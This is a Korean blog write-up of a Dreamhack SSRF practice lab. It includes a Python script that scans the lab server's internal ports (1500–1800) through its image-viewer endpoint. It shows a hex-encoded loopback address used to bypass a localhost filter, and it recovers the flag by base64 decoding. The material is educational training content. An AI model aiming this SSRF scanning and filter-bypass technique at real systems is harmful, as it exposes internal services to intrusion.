외로운 Nova의 작업실
dreamhack 웹해킹 - 9(SSRF 함께 실습) 본문
이번시간에는 SSRF 함께 실습을 리뷰해보겠습니다. 정답은 가려져 있습니다.
- 문제인식
url을 /으로 시작하면 자기자신의 파일시스템에서 파일을 가져오게됩니다. 이때 해당 웹서버는 /app이 아닌 다른 경로에 위치하게됩니다. 따라서 /flag.txt를 입력하면 /app이 아니기때문에 notfound가 뜹니다. 하지만 /으로 시작하지않고 http:127.0.0.1:1598로 시작하게되면 다른 서버가 해당 요청을 받게됩니다. 이 해당 서버는 /app에서 실행되고 있다고 합니다. 이번 실습을 위해 드림핵에서는 이 다른 서버를 실행시켜놓았고 1500~1800사이에 포트를 적용했습니다.
- 포트 알아내기
포트 코드를 이용해서 주소부분을 변경하여 알아내줍니다.
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
Localhost 부분을 넣으면 필터링이 걸리기때문에 http://0x7f.0x00.0x00.0x01:{port]로 변경해줍니다. 또한 맨아래 자신의 문제 서버 URL로 변경해줍니다. 저의 경우 아래의 url이였습니다.
아래는 고친후 코드입니다.
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://0x7f.0x00.0x00.0x01:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
위를 실행시켜줍시다.
저는 1515포트에 되어있는 것을 확인됩니다.
- flag 확인
이제 값을 직접 넣고 base64 디코딩을 실시해줍니다.
view 버튼을 누르면 아래와같이 뜹니다.
저 깨진 그림부분을 오른쪽 마우스 클릭 - 새탭에서 이미지 열기를 해줍니다.
윗 부분 url에 base64 인코딩된 부분을 복사해줍시다.
이를 base64 디코딩에 넣어줍니다.
https://www.convertstring.com/ko/EncodeDecode/Base64Decode
그러면 아래와 같이 정답이 나옵니다.
'Web Penetesting > Web Vulnerability' 카테고리의 다른 글
dreamhack 웹해킹 - 11(blind-command) (0) | 2022.12.28 |
---|---|
dreamhack 웹해킹 - 10(Carve Party) (0) | 2022.12.28 |
dreamhack 웹해킹 - 8(file-download-1) (0) | 2022.12.21 |
dreamhack 웹해킹 - 7(command injection) (0) | 2022.12.16 |
web hacking 취약점에따른 공격 기법 정리 (0) | 2022.12.14 |